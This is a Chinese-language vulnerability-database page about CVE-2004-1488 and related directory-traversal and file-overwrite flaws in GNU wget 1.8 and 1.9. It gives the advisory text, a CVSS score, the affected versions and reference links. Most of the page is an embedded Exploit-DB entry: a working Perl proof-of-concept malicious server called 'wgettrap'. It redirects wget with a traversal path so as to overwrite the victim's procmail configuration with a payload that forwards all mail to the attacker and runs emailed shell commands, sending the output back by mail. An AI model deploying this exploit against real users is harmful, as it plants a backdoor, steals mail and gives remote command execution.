CVE-2004-1488
CVSS5.0
发布时间 :2005-04-27 00:00:00
修订时间 :2016-10-17 22:55:01
NMCOE    

[原文]wget 1.8.x and 1.9.x does not filter or quote control characters when displaying HTTP responses to the terminal, which may allow remote malicious web servers to inject terminal escape sequences and execute arbitrary code.


[CNNVD]GNU wget执行任意代码漏洞(CNNVD-200504-113)

        GNU wget是一款免费的下载工具,可以在基于Linux的操作系统上使用HTTP、HTTPS和FTP协议下载文件。
        Wget的1.8.x和1.9.x不会在显示HTTP响应时过滤或引用控制字符,这可能允许远程恶意Web服务器将终端转义序列注入并执行任意代码。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:gnu:wget:1.9GNU wget 1.9
cpe:/a:gnu:wget:1.8GNU wget 1.8
cpe:/a:gnu:wget:1.8.2GNU wget 1.8.2
cpe:/a:gnu:wget:1.9.1GNU wget 1.9.1
cpe:/a:gnu:wget:1.8.1GNU wget 1.8.1

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:9750wget 1.8.x and 1.9.x does not filter or quote control characters when displaying HTTP responses to the terminal, which may allow remote mali...
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1488
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1488
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200504-113
(官方数据源) CNNVD

- 其它链接及资源

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=261755
(VENDOR_ADVISORY)  MISC  http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=261755
http://marc.info/?l=bugtraq&m=110269474112384&w=2
(UNKNOWN)  BUGTRAQ  20041209 wget: Arbitrary file overwriting/appending/creating and other vulnerabilities
http://securitytracker.com/id?1012472
(UNKNOWN)  SECTRACK  1012472
http://www.novell.com/linux/security/advisories/2006_16_sr.html
(UNKNOWN)  SUSE  SUSE-SR:2006:016
http://www.redhat.com/support/errata/RHSA-2005-771.html
(UNKNOWN)  REDHAT  RHSA-2005:771
http://www.securityfocus.com/bid/11871
(VENDOR_ADVISORY)  BID  11871
http://www.ubuntulinux.org/support/documentation/usn/usn-145-1
(UNKNOWN)  UBUNTU  USN-145-1
http://xforce.iss.net/xforce/xfdb/18421
(VENDOR_ADVISORY)  XF  wget-terminal-overwrite(18421)

- 漏洞信息

GNU wget执行任意代码漏洞
中危 设计错误
2005-04-27 00:00:00 2005-10-20 00:00:00
远程  
        GNU wget是一款免费的下载工具,可以在基于Linux的操作系统上使用HTTP、HTTPS和FTP协议下载文件。
        Wget的1.8.x和1.9.x不会在显示HTTP响应时过滤或引用控制字符,这可能允许远程恶意Web服务器将终端转义序列注入并执行任意代码。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.gnu.org

- 漏洞信息 (24813)

GNU WGet 1.x Multiple Remote Vulnerabilities (EDBID:24813)
linux remote
2004-12-10 Verified
0 Jan Minar
N/A [点击下载]
source: http://www.securityfocus.com/bid/11871/info

Multiple remote vulnerabilities reportedly affect GNU wget. These issues are due to the application's failure to properly sanitize user-supplied input and to properly validate the presence of files before writing to them. The issues include:

- a potential directory-traversal issue
- an arbitrary file-overwriting vulnerability
- a weakness caused by the application's failure to filter potentially malicious characters from server-supplied input. 

Via a malicious server, an attacker may exploit these issues to arbitrarily overwrite files within the current directory and potentially outside of it. This may let the attacker corrupt files, cause a denial of service, and possibly launch further attacks against the affected computer. Overwriting of files would take place with the privileges of the user that activates the vulnerable application.


--
 )^o-o^|    jabber: rdancer@NJS.NetLab.Cz
 | .v  K    e-mail: jjminar FastMail FM
 `  - .'     phone: +44(0)7981 738 696
  \ __/Jan     icq: 345 355 493
 __|o|__Min??  irc: rdancer@IRC.FreeNode.Net

#!/usr/bin/perl -W
# wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability
#
# Copyright 2004 Jan Min???? (jjminar fastmail fm)
# License: Public Domain
#
# When wget connects to us, we send it a HTTP redirect constructed so that wget
# wget will connect the second time, it will be attempting to override
# ~/.procm4ilrc (well, provided that the user running wget has username 'jan'
# 8-)).

use POSIX qw(strftime);

# This is our scheme/host/port
$server = "http://localhost:31340";
# Use this + DNS poisoning with wget 1.9 & CVS
#$server = "http://..";

# Wanna know who got infected?
#$log = "/dev/pts/1";

# The filename we will try to overwrite on the target system
$filename = "/home/jan/.procm4ilrc%00This%20part%20will%20be%20ignored.";

############### Payload #########################################
$email = 'your@mailbox';
$password = 'Pmrpuf ner cevzvgvirf';
$payload = <<EOP;
:0c
| mail -s 'Wgettrap mail copy' $email
:0
* ^X-Wgettrap-Command: shell
* ^X-Wgettrap-Password: $password
| /bin/sh -c '/bin/sh | mail -s "Wgettrap shell output" $email'
EOP
chomp $payload;
############### Payload #########################################

# A simple directory traversal, for greater effect
$trick = "/.." . "%2f.." x 40;

open LOG, ">$log" if $log;

while(<STDIN>){
        print LOG $_ if $log;
        if (/\Q$trick$filename\E/) {
        #if (/%2f/) {
                # We see the filename, so this is the second time
                # they're here.  Time to feed the sploit.
                $second++;
        } elsif (/^Range: bytes=\(33\)-/) {
                # Appending goes like this:
                # (1) Tell'em what you're gonna tell'em
                # (2) Then tell'em just a half
                # (3) Close it
                # (4) Wait
                # (5) They're comin' back, with wget -c
                # (6) Tell'em the sploit
                # (7) Close again
                # (8) Wtf? They're comin' back with wget -c again
                # (9) Tell'em the rest...
                # (10) ... enjoying the backdoor at the same time
                print LOG "File if $1 bytes long\n" if $log;
        } elsif (/^\r?$/) {
                # The HTTP headers are over.  Let's do it!
                $date = strftime ("%a, %e %b %Y %H:%M:%S %z", localtime);
                if (!$second) {
                        # Print the payload
                        print <<EOT;
HTTP/1.1 301 Moved Permanently\r
Date: $date\r
Server: wgettrap 1.1\r
Accept-Ranges: bytes\r
Location: $server$trick$filename\r
Content-Length: 43\r
Connection: close\r
Content-Type: text/html\r
\r
<html><head><title></title></head></html>\r
EOT
                } else {
                        # Print the redirection
                        print <<EOT;
HTTP/1.1 200 OK\r
Date: $date\r
Server: wgettrap 1.1\r
Accept-Ranges: bytes\r
Content-Length: 25\r
Connection: close\r
Content-Type: text/plain\r
\r
$payload
EOT
                }
                exit 0;
        }
}		

- 漏洞信息

12638
GNU wget HTTP Redirection File Overwrite

- 漏洞描述

Unknown or Incomplete

- 时间线

2004-12-09 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站